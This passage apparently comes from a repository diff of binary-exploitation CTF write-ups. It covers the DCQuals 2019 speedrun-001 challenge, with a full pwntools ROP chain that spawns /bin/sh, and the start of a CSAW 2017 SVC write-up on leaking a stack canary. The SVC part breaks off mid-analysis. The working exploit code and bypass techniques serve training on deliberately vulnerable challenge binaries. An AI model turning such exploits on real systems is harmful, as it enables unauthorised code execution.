0xffbba540 | 30 30 30 30 30 30 30 30 |
0xffbba548 | 30 30 30 30 30 30 30 30 |
0xffbba550 | 30 30 30 30 00 22 d6 f7 |
Return address: 0xf7d62200
$ cat flag.txt
utc{c0ntr0ling_r1p_1s_n0t_t00_h4rd}
And we get the flag!
## Title
text
` ![]()
## Title
text
` ![]()

534
2/speed.md Normal file
View file

@ -0,0 +1,534 @@
# DCQuals 2019 speed
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
--2021-03-05 21:19:04-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
Loaded CA certificate '/etc/ssl/certs/ca-certificates.crt'
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 [following]
--2021-03-05 21:19:04-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 774392 (756K) [application/octet-stream]
Saving to: speedrun-001
speedrun-001 100%[=======================================================================================================================================================>] 756.24K 2.40MB/s in 0.3s
2021-03-05 21:19:05 (2.40 MB/s) - speedrun-001 saved [774392/774392]
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ file speedrun-001
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ chmod +x speedrun-001
` ![]()
## Solution
first let's run pwn checksec onto the binary and execute it to see what it does:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ pwn checksec speedrun-001
[*] '/home/nothing/binexp/2/speed/speedrun-001'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ./speedrun-001
Hello brave new challenger
Any last words?
yes
This will be the last thing that you say: yes
Alas, you had no luck today.
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ./speedrun-001
Hello brave new challenger
Any last words?
no
This will be the last thing that you say: no
Alas, you had no luck today.
So here we have a 64bit statically compiled binary, the binary has NX which means Non Executable stack enabled, this means that the stack memory region is not executable, to get more info on this, we look at the binary from inside ghidra, however the main function isn't called 'main' as usual, this time we need to find where the output text is:
[![](30.png)](http://ghidra.re/CheatSheet.html)
We can use the CTRL+Shift+E to search for the program text line 'Any last words?' since it's safe to assume that it is in the main function
![](31.png)
Now we know the main function is **FUN_00400b60** and it has the following code:
void FUN_00400b60(void)
{
undefined local_408 [1024];
FUN_00410390("Any last words?");
FUN_004498a0(0,local_408,2000);
FUN_0040f710("This will be the last thing that you say: %s\n",local_408);
return;
}
Here we see that our text gets put into the variable local_408 into a function called 'FUN_004498a0() which takes in 3 arguements, so let's investigate what this function really does:'
/* WARNING: Removing unreachable block (ram,0x00449910) */
/* WARNING: Removing unreachable block (ram,0x00449924) */
undefined8 FUN_004498a0(undefined8 param_1,undefined8 param_2,undefined8 param_3)
{
undefined4 uVar1;
if (DAT_006bc80c == 0) {
syscall();
return 0;
}
uVar1 = FUN_0044be40();
syscall();
FUN_0044bea0(uVar1,param_2,param_3);
return 0;
}
So the function scans for our input (which is param_2) by making a syscall instead of using the usual fgets or scanf. Looking at the assembly code around the syscall we see the following:
![](32.png)
there is a xor call to set eax to 0 and thus the rax register is also set to 0, and we know that the rax register is important on the x86_64 architecture because this is what determines what our syscall ID is, you can check what those syscalls are [here](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86_64-64_bit):
![](33.png)
since rax is being set to 0 we are dealing with a read syscall, although we don't see the arguements being loaded for the syscall becasue they were already loaded when the function was called. Therefore the arguements this function takes, and the registers they take it in, are the same as the read syscall, so it can just call the read syscall after setting rax to zero (xoring eax with itself)
FUN_004498a0(0,local_408,2000);
Looking back at the call to that function, we see that the third arguement is set to 2000, this means that the third arguement (param_3) gets passed into the syscall as an arguement, we can assume this is a limit to our text input variable (local_408) which can only hold 1024 bytes as it was initialized like so:
undefined local_408 [1024];
Now here that we are scanning in 2000 bytes worth of input into our input value, which can only hold 1024 bytes, this means that there is an overflow that can potentially overflow and overwrite the return address to get code execution.
The goal here is to create a ROP chain (Return Oriented Programming) and to use the buffer overflow to execute it. the ROP chain is made up of **ROP gadgets** , these are bits of code in the binary itself that end in a **ret** instruction
We don't have to worry about the code being non-executable because this will be all valid code. Since PIE is disabled, we know the address of all of the binary file's instructions.
Since the binary file is statically linked, that means it is a large binary with plenty of potential gadgets.
The plan here is to make a ROP chain to make a execve() syscall to execute /bin/sh and to give us a shell. The required registers are the following:
rax: 59 #rax contains the syscall ID
rdi: ptr to "bin/sh" #rbx contains the first arguement (the file to execute)
rsi: 0 #rsi : 2nd arg
rdx: 0 #rdx : 3rd arg
The ROP chain we will build will have 3 parts. First we write **/bin/sh** somewhere in memory, then move the pointer to it into the **rdi** register. Second, we move the necessary values into the other 3 registers. Third, we need to make the syscall itself.
Now we need to find where in memory we can write **/bin/sh** To do so we check the memory mappings while the ELF is running to see what we have to work with. So let's first choose where we will put our breakpoint:
![](34.png)
00400ba1 b8 00 00 MOV EAX,0x0
00 00
00400ba6 e8 65 eb CALL FUN_0040f710 undefined FUN_0040f710(undefined
00 00
00400bab 90 NOP
00400bac c9 LEAVE
00400bad c3 RET
So here we see that the last text output of the binary is at 0x400ba6 so we set our breakpoint right after at **0x400bab**
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ gdb ./speedrun-001
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./speedrun-001...
(No debugging symbols found in ./speedrun-001)
gef➤ b *0x400bab
Breakpoint 1 at 0x400bab
gef➤ r
Starting program: /home/nothing/binexp/2/speed/speedrun-001
Hello brave new challenger
Any last words?
13371337
This will be the last thing that you say: 13371337
Breakpoint 1, 0x0000000000400bab in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x34
$rbx : 0x0000000000400400 → sub rsp, 0x8
$rcx : 0x0
$rdx : 0x00000000006bbd30 → 0x0000000000000000
$rsp : 0x00007fffffffdad0 → "13371337\n"
$rbp : 0x00007fffffffded0 → 0x00007fffffffdef0 → 0x0000000000401900 → push r15
$rsi : 0x0
$rdi : 0x1
$rip : 0x0000000000400bab → nop
$r8 : 0x34
$r9 : 0x34
$r10 : 0xfffffff7
$r11 : 0x246
$r12 : 0x00000000004019a0 → push rbp
$r13 : 0x0
$r14 : 0x00000000006b9018 → 0x0000000000443e60 → mov rcx, rsi
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdad0│+0x0000: "13371337\n" ← $rsp
0x00007fffffffdad8│+0x0008: 0x000000000000000a
0x00007fffffffdae0│+0x0010: 0x0000000000000000
0x00007fffffffdae8│+0x0018: 0x0000000000000000
0x00007fffffffdaf0│+0x0020: 0x0000000000000000
0x00007fffffffdaf8│+0x0028: 0x0000000000000000
0x00007fffffffdb00│+0x0030: 0x0000000000000000
0x00007fffffffdb08│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400b9a lea rdi, [rip+0x919b7] # 0x492558
0x400ba1 mov eax, 0x0
0x400ba6 call 0x40f710
●→ 0x400bab nop
0x400bac leave
0x400bad ret
0x400bae push rbp
0x400baf mov rbp, rsp
0x400bb2 lea rdi, [rip+0x919cd] # 0x492586
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "speedrun-001", stopped 0x400bab in ?? (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400bab → nop
[#1] 0x400c1d → mov eax, 0x0
[#2] 0x4011a9 → mov edi, eax
[#3] 0x400a5a → hlt
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
So here we basically used gdb to set the breakpoint at **0x400bab** and then we ran the binary, putting 13371337 as our input text so that it is an easy pattern to find in memory. So before we check for where our pattern is in memory, let's check the memory mappings to see what we have to work with:
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/nothing/binexp/2/speed/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/nothing/binexp/2/speed/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
Now here we see the elf memory region between **0x6b6000** and **0x6bc000** because this is from the elf's memory space that does not have PIE, therefore we know what the address is without an infoleak. In addition to that, the permissions are **rw** as you can see on the right, which means that we can read and write to it. Since the space in between the aforementionned memory addresses is only zeroes, we shouldn't mess anything up if we store it here. So let's find the offset between the start of our input where our **13371337** pattern is:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffb46a - 0x7fffffffb476 → "13371337\n\n"
0x7fffffffdad0 - 0x7fffffffdada → "13371337\n"
gef➤ info frame
Stack level 0, frame at 0x7fffffffdee0:
rip = 0x400bab; saved rip = 0x400c1d
called by frame at 0x7fffffffdf00
Arglist at 0x7fffffffdac8, args:
Locals at 0x7fffffffdac8, Previous frame's sp is 0x7fffffffdee0
Saved registers:
rbp at 0x7fffffffded0, rip at 0x7fffffffded8
Here we see that our input address is at **0x7fffffffdad0** and the return address is at **0x7fffffffded8** , Now let's calculate the offset between the 2 addresses:
[ 192.168.0.18/24 ] [ /dev/pts/6 ] [blog/binexp/2]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0x7fffffffdad0 - 0x7fffffffded8 )
'-0x408'
Now we know that have an offset of 0x408 bytes between our input text and the return function. Next step is to find the ROP Gadgets we will use. To do so we will use ROPGadgets.py you can check out how we installed it in the previous tutorial [here](calc.html). Now let's find the gadgets we need for the **rax, rdi, rsi and rdx** registers using the following template:
"pop register ; ret"
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "pop rax ; ret"
0x0000000000415662 : add ch, al ; pop rax ; ret
0x0000000000415661 : cli ; add ch, al ; pop rax ; ret
0x00000000004a9321 : in al, 0x4c ; pop rax ; retf
0x0000000000415664 : pop rax ; ret
0x000000000048cccb : pop rax ; ret 0x22
0x00000000004a9323 : pop rax ; retf
0x00000000004758a3 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "pop rdi ; ret"
0x0000000000423788 : add byte ptr [rax - 0x77], cl ; fsubp st(0) ; pop rdi ; ret
0x000000000042378b : fsubp st(0) ; pop rdi ; ret
0x0000000000400686 : pop rdi ; ret
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "pop rsi ; ret"
0x000000000046759d : add byte ptr [rbp + rcx*4 + 0x35], cl ; pop rsi ; ret
0x000000000048ac68 : cmp byte ptr [rbx + 0x41], bl ; pop rsi ; ret
0x000000000044be39 : pop rdx ; pop rsi ; ret
0x00000000004101f3 : pop rsi ; ret
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "pop rdx ; ret"
0x00000000004a8881 : js 0x4a88fe ; pop rdx ; retf
0x00000000004498b5 : pop rdx ; ret
0x000000000045fe71 : pop rdx ; retf
So we have found the following gadget addresses for each of our registers:
rax 415664
rdi 400686
rsi 4101f3
rdx 4498b5
Next we will need a gadget which will write the string **/bin/sh** somewhere in memory, for this we just look through all the gadgets with a mov instruction, we want a rax pointer and the gadget must end with **; ret** :
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "mov" | grep "ptr \[rax\]" | grep "; ret$"
Looking through for the shortest (and simplest) instructions we find the following:
0x000000000048d251 : mov qword ptr [rax], rdx ; ret
This gadget will allow us to write an 8 byte value stored in **rdx** to whatever address is pointed to by the **rax** register. In addition this is convenient becuase we can use the 4 gadgets we found earlier to prepare this write. And lastly we need to find a gadget to actually make the syscall:
[ 192.168.0.18/24 ] [ /dev/pts/14 ] [binexp/2/speed]
→ ROPgadget --binary speedrun-001 | grep "syscall"
[...]
0x000000000040dbdd : sub dword ptr [rsp + 0xf0], eax ; syscall
0x0000000000475453 : sub esp, 8 ; syscall
0x0000000000475452 : sub rsp, 8 ; syscall
0x000000000040129c : syscall
[...]
And we have our syscall gadget at 0x40129c. With all of the above, we can finally construct our ROP chain, so we will overwrite the return address with the first gadget of the rop chain, and when it returns it will keep on going down the chain until we get our shell. To move the values into registers, we store the values on the stack inside the ROP chain, and they will be popped off into registers. So we end up with the following exploit:
from pwn import *
target = process('./speedrun-001')
# Establish our ROP Gadgets
popRax = p64(0x415664)
popRdi = p64(0x400686)
popRsi = p64(0x4101f3)
popRdx = p64(0x4498b5)
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
writeGadget = p64(0x48d251)
# Our syscall gadget
syscall = p64(0x40129c)
'''
Here is the assembly equivalent for these blocks
write "/bin/sh" to 0x6b6000
pop rdx, 0x2f62696e2f736800
pop rax, 0x6b6000
mov qword ptr [rax], rdx
'''
rop = b""
rop += popRdx
rop += b"/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
rop += popRax
rop += p64(0x6b6000)
rop += writeGadget
'''
Prepare the four registers with their arguments, and make the syscall
pop rax, 0x3b
pop rdi, 0x6b6000
pop rsi, 0x0
pop rdx, 0x0
syscall
'''
rop += popRax
rop += p64(0x3b)
rop += popRdi
rop += p64(0x6b6000)
rop += popRsi
rop += p64(0)
rop += popRdx
rop += p64(0)
rop += syscall
# Add the padding to the saved return address
payload = b"\x00"*0x408 + rop
print(hexdump(payload))
Let's run the exploit to see the hexdump of our payload:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed]
→ python3 exploit.py
[+] Starting local process './speedrun-001': pid 2115567
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000400 00 00 00 00 00 00 00 00 b5 98 44 00 00 00 00 00 │····│····│··D·│····│
00000410 2f 62 69 6e 2f 73 68 00 64 56 41 00 00 00 00 00 │/bin│/sh·│dVA·│····│
00000420 00 60 6b 00 00 00 00 00 51 d2 48 00 00 00 00 00 │·`k·│····│Q·H·│····│
00000430 64 56 41 00 00 00 00 00 3b 00 00 00 00 00 00 00 │dVA·│····│;···│····│
00000440 86 06 40 00 00 00 00 00 00 60 6b 00 00 00 00 00 │··@·│····│·`k·│····│
00000450 f3 01 41 00 00 00 00 00 00 00 00 00 00 00 00 00 │··A·│····│····│····│
00000460 b5 98 44 00 00 00 00 00 00 00 00 00 00 00 00 00 │··D·│····│····│····│
00000470 9c 12 40 00 00 00 00 00 │··@·│····│
00000478
Now that we see our payload is correct, we send it to the binary file with the following 2 lines:
target.sendline(payload)
target.interactive()
Now let's run the exploit to see if everything works as intended:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed]
→ python3 exploit.py
[+] Starting local process './speedrun-001': pid 2146710
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000400 00 00 00 00 00 00 00 00 b5 98 44 00 00 00 00 00 │····│····│··D·│····│
00000410 2f 62 69 6e 2f 73 68 00 64 56 41 00 00 00 00 00 │/bin│/sh·│dVA·│····│
00000420 00 60 6b 00 00 00 00 00 51 d2 48 00 00 00 00 00 │·`k·│····│Q·H·│····│
00000430 64 56 41 00 00 00 00 00 3b 00 00 00 00 00 00 00 │dVA·│····│;···│····│
00000440 86 06 40 00 00 00 00 00 00 60 6b 00 00 00 00 00 │··@·│····│·`k·│····│
00000450 f3 01 41 00 00 00 00 00 00 00 00 00 00 00 00 00 │··A·│····│····│····│
00000460 b5 98 44 00 00 00 00 00 00 00 00 00 00 00 00 00 │··D·│····│····│····│
00000470 9c 12 40 00 00 00 00 00 │··@·│····│
00000478
[*] Switching to interactive mode
Hello brave new challenger
Any last words?
This will be the last thing that you say:
$ cat flag.txt
flag{g0ttem_b0yz}
$ id
uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),90(network),98(power),972(libvirt),988(storage),990(optical),995(audio),998(wheel)
$
And that's it! We have been able to spawn a shell and print out the flag!
## Title
text
` ![]()
## Title
text
` ![]()

604
2/svc.md Normal file
View file

@ -0,0 +1,604 @@
# Csaw 2017 SVC
## Downloading the binary file
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/svc
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/core
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/libc-2.23.so
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
→ chmod +x svc ; ls -lash
total 7.6M
4.0K drwxr-xr-x 2 nothing nothing 4.0K Mar 6 16:16 .
4.0K drwxr-xr-x 11 nothing nothing 4.0K Mar 6 16:14 ..
5.8M -rw-r--r-- 1 nothing nothing 5.8M Mar 6 16:16 core
1.8M -rw-r--r-- 1 nothing nothing 1.8M Mar 6 16:16 libc-2.23.so
12K -rwxr-xr-x 1 nothing nothing 11K Mar 6 16:16 svc
` ![]()
## Solution
Now let's check out what the binary does when we execute it after using pwn checksec on it:
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
→ pwn checksec svc
[*] '/home/nothing/binexp/2/svc/svc'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
→ ./svc
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>1
So we see that this is a 64bit dynamically linked binary, it has a stack canary and a non executable stack (NX). Basically, the binary asks us if we want to 1) feed the csv with some text input, 2) review what we just put in, or 3 to quit.
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>foodfoodfood
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>2
-------------------------
[*]REVIEW THE FOOD...........
-------------------------
[*]PLEASE TREAT HIM WELL.....
-------------------------
foodfoodfood
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>1
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>feedfeedfeed
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>2
-------------------------
[*]REVIEW THE FOOD...........
-------------------------
[*]PLEASE TREAT HIM WELL.....
-------------------------
feedfeedfeed
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>3
[*]BYE ~ TIME TO MINE MIENRALS...
Now that we see how the binary works approximately, let's check it out inside of ghidra:
![](44.png)
Since the main function of the binary is not called 'main' we just search (CTRL+SHIFT+E) in ghidra for one of the keywords that the binary previously gave us like the 'FEED' word and thus we find that the main function is FUN_00400a96, and is quite gigantic so we're going to only focus on the parts we need:
undefined8 FUN_00400a96(void)
{
while (local_c0 != 0) {
pbVar1 = std::operator<<((basic_ostream *)std::cout,"-------------------------");
[...]
std::operator<<((basic_ostream *)std::cout,">>");
std::basic_istream>::operator>>
((basic_istream> *)std::cin,&local;_c4);
if (local_c4 == 2) {
}
if (local_c4 == 2) {
pbVar1 = std::operator<<((basic_ostream *)std::cout,"-------------------------");
std::basic_ostream>::operator<<
}
if (local_c4 == 3) {
}
[...]
}
}
First of all we see that we enter a while loop, and for each iteration of the loop it prompts us for a menu option in local_c4. for the option to scan in data (option 1) we see the following:
if (local_c4 == 1) {
[...]
sVar2 = read(0,local_b8,0xf8);
local_bc = (undefined4)sVar2;
}
else {
pbVar1 = std::operator<<((basic_ostream *)std::cout,"[*]DO NOT HURT MY SCV....");
std::basic_ostream>::operator<<
((basic_ostream> *)pbVar1,
std::endl>);
}
we see that it uses the read() function to scan in **0xf8** bytes of data into the input variable called **local_b8** Now let's set our breakpoint right after the read() call at 0x400cd3:
![](45.png)
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
→ gdb ./svc
GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 10.1 using Python engine 3.9
Reading symbols from ./svc...
(No debugging symbols found in ./svc)
gef➤ b *0x400cd3
Breakpoint 1 at 0x400cd3
gef➤ r
Starting program: /home/nothing/binexp/2/svc/svc
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>1
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>13371337
Breakpoint 1, 0x0000000000400cd3 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x9
$rbx : 0x0000000000400e40 → push r15
$rcx : 0x00007ffff7ce0052 → 0x5677fffff0003d48 ("H="?)
$rdx : 0xf8
$rsp : 0x00007fffffffde80 → 0x00000001f7f96ee0
$rbp : 0x00007fffffffdf40 → 0x0000000000000000
$rsi : 0x00007fffffffde90 → "13371337\n\t@"
$rdi : 0x0
$rip : 0x0000000000400cd3 → mov DWORD PTR [rbp-0xb4], eax
$r8 : 0x2
$r9 : 0x0000000000602000 → 0x0000000000601e18 → 0x0000000000000001
$r10 : 0xfffffffffffffb88
$r11 : 0x246
$r12 : 0x00000000004009a0 → xor ebp, ebp
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde80│+0x0000: 0x00000001f7f96ee0 ← $rsp
0x00007fffffffde88│+0x0008: 0x0000000000000001
0x00007fffffffde90│+0x0010: "13371337\n\t@" ← $rsi
0x00007fffffffde98│+0x0018: 0x000000000040090a → add cl, ch
0x00007fffffffdea0│+0x0020: 0x0000000000602080 → 0x0000000000000000
0x00007fffffffdea8│+0x0028: 0x00007ffff7c2fac6 → <__internal_atexit+70> test rax, rax
0x00007fffffffdeb0│+0x0030: 0x0000000000000001
0x00007fffffffdeb8│+0x0038: 0x00007fffffffdef0 → 0x00007fffffffdf00 → 0x0000000000000002
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x400cc6 mov rsi, rax
0x400cc9 mov edi, 0x0
0x400cce call 0x400900
●→ 0x400cd3 mov DWORD PTR [rbp-0xb4], eax
0x400cd9 jmp 0x400dc0
0x400cde mov esi, 0x400ec8
0x400ce3 mov edi, 0x6021e0
0x400ce8 call 0x400940 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x400ced mov esi, 0x400980
────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "svc", stopped 0x400cd3 in ?? (), reason: BREAKPOINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x400cd3 → mov DWORD PTR [rbp-0xb4], eax
[#1] 0x7ffff7c17b25 → __libc_start_main()
[#2] 0x4009c9 → hlt
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
So what we did here is basically to set the breakpoint right after the read() call, then we ran the binary, selected 1 to feed in our data, and gave in the pattern '13371337' Now from here let's find it by using search-pattern:
gef➤ search-pattern 13371337
[+] Searching '13371337' in memory
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
0x7fffffffde90 - 0x7fffffffde9d → "13371337\n\t@"
gef➤ info frame
Stack level 0, frame at 0x7fffffffdf50:
rip = 0x400cd3; saved rip = 0x7ffff7c17b25
called by frame at 0x7fffffffe020
Arglist at 0x7fffffffde78, args:
Locals at 0x7fffffffde78, Previous frame's sp is 0x7fffffffdf50
Saved registers:
rbp at 0x7fffffffdf40, rip at 0x7fffffffdf48
Now here we see the memory address of our input at **0x7fffffffde90** and the memory address of the return address at **0x7fffffffdf48** and we calculate the offset as usual:
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [blog/binexp/2]
→ python3
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex( 0x7fffffffde90 - 0x7fffffffdf48 )
'-0xb8'
Now we know that there is a 0xb8 offset between our input text and the return address
So let's summarize everything we got so far:
We have a buffer overflow bug that we can use because of a gets() call and we can get to the return address with it. However the first mitigation we will need to overcome is the stack canary. The stack canary is an eight byte random integer (we saw that it was 4 bytes for x86 systems in the previous challenge [feed](feed.html))
However, before the return address is executed, it checks to see if the stack canary has the same value. If it doesn't the program will end. To bypass this, we need to leak the stack canary. That way we can just overwrite the stack canary with itself, so it will pass the stack cnary to check and execute the return address, which we will overwrite with our buffer overflow
We will leak the stack canary thanks to the following **puts()** call that is being used in the second option:
if (local_c4 == 2) {
[...]
puts(local_b8);
}
it is going to print data that it is given by a pointer until it reaches a null byte. With stack canaries the least significant byte is a null byte. SO we will just send enough data to just overflow the LSB of the stack canary, and then print our input. This will print all of our data and the highest seven eight bytes of the stack canary, and since the lowest byte will always be a nullbyte, we know the full stack canary. With this we can just execute the buffer overflow again and write over the stack canary itself in order to defeat this mitigation.
To leak the stack canary we will need to send **0xa9** bytes of data, the first **0xa8** will be to fill up the input char array, and the last byte will be to overwrite the LSB of the stack canary. So let's take a look at the memory in more detail since we know that our input starts at **0x7fffffffde90** :
gef➤ x/24g 0x7fffffffde90
0x7fffffffde90: 0x3733333137333331 0x40090a
0x7fffffffdea0: 0x602080 0x7ffff7c2fac6
0x7fffffffdeb0: 0x1 0x7fffffffdef0
0x7fffffffdec0: 0x601df8 0x7fffffffe048
0x7fffffffded0: 0x7fffffffe038 0x400e1b
0x7fffffffdee0: 0x11bf 0x10000ffff
0x7fffffffdef0: 0x7fffffffdf00 0x400e31
0x7fffffffdf00: 0x2 0x400e8d
0x7fffffffdf10: 0x0 0x400e40
0x7fffffffdf20: 0x0 0x4009a0
0x7fffffffdf30: 0x7fffffffe030 0x6a77910e1ec4300
0x7fffffffdf40: 0x0 0x7ffff7c17b25
